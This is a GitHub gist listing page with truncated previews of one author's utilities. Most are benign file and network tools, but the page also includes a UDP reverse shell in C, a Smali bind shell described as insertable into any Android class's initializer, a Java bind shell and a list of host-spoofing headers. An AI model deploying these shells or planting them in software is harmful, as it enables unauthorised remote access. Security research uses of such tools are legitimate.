Skip to content

Instantly share code, notes, and snippets.

@SeanPesce
SeanPesce / vector_drawable_to_svg.py
Last active June 16, 2025 12:54
Python code to convert Android vector drawable XML files to SVG format
#!/usr/bin/env python3
# Author: Sean Pesce
#
# Converted from original JavaScript code by Seanghay Yath:
# https://github.com/seanghay/vector-drawable-svg
import math
import sys
@SeanPesce
SeanPesce / _fastlz-lib__init__.py
Last active June 6, 2025 12:39
Pure Python 3 FastLZ
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# Modified from original source: https://gitlab.com/Stefan65/lz77-variants_python
"""
Implementation of the FastLZ compression algorithm in pure Python.
FastLZ is a "small & portable byte-aligned LZ77 compression" algorithm.
This version is based upon the original implementation by Ariya Hidayat.
@SeanPesce
SeanPesce / external_ipv4.py
Last active May 20, 2025 11:55
Python 3 script to obtain the current external IPv4 address without any non-standard dependencies
#!/usr/bin/env python3
#
# Author: Sean Pesce
import re
import requests
def get_external_ipv4_address(timeout_secs=0.3):
counts = dict()
@SeanPesce
SeanPesce / reverse_shell_udp.c
Created April 16, 2025 15:45
Simple UDP reverse shell written in C
// UDP reverse shell
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <ctype.h>
#define SERVER_IP "192.168.1.x"
#define SERVER_PORT 45100
@SeanPesce
SeanPesce / squashfs_repack.sh
Created April 16, 2025 12:10
Shell script to repack a SquashFS filesystem in-place, preserving the filesystem properties and individual file ownership/permissions
#!/bin/bash
# Check if squashfs-tools is installed
if ! command -v unsquashfs &> /dev/null || ! command -v mksquashfs &> /dev/null; then
echo "squashfs-tools not found. Please install squashfs-tools (e.g., sudo apt install squashfs-tools)."
exit 1
fi
# Check if an argument (the SquashFS file) was provided
if [ "$#" -ne 1 ]; then
@SeanPesce
SeanPesce / hexdump.lua
Last active March 4, 2025 20:39
Helper function to create a hex dump from a ByteArray object in a WireShark Lua dissector
-- Author: Sean Pesce
-- References:
-- https://lua-users.org/wiki/HexDump
-- https://www.wireshark.org/docs/wsdg_html_chunked/lua_module_Tvb.html
function hex_dump(buf, print_addrs)
if print_addrs == nil then
print_addrs = false
end
local result = ""
@SeanPesce
SeanPesce / aws_cognito_get_creds.py
Created October 10, 2024 15:09
Various Python 3 utility scripts related to AWS Cognito authentication
#!/usr/bin/env python3
# Author: Sean Pesce
#
# Obtain AWS Cognito user identity ID and credentials
import argparse
import getpass
import json
import os
import requests
@SeanPesce
SeanPesce / BindShellTcp.smali
Last active March 22, 2024 12:54
TCP bind shell (port 7777) written in Smali. Add this to the static initializer code (clinit) of any loaded class to start the listener.
.method static constructor <clinit>()V
.locals 5
invoke-static {}, Ljava/lang/Runtime;->getRuntime()Ljava/lang/Runtime;
move-result-object v0
const/4 v1, 3
new-array v2, v1, [Ljava/lang/String;
@SeanPesce
SeanPesce / BindShellTcp.java
Last active February 28, 2024 22:48
Java TCP bind shell (also compatible with Android)
// Author: Sean Pesce
//
// This bind shell implementation is compatible with both standard Java and the Android SDK.
// By default, it listens in a new thread, on TCP port 45100, and on all network interfaces.
//
// Start the listener with default parameters like so:
// new BindShellTcp().start();
package com.seanpesce.shell;
@SeanPesce
SeanPesce / host_spoof_headers.txt
Last active October 4, 2024 10:22 — forked from kaimi-/gist:6b3c99538dce9e3d29ad647b325007c1
List of potential host-spoofing HTTP headers
Akamai-Client-Ip
CACHE_INFO
CF_CONNECTING_IP
CF-Connecting-IP
CLIENT_IP
Client-IP
COMING_FROM
CONNECT_VIA_IP
FORWARD_FOR
FORWARD-FOR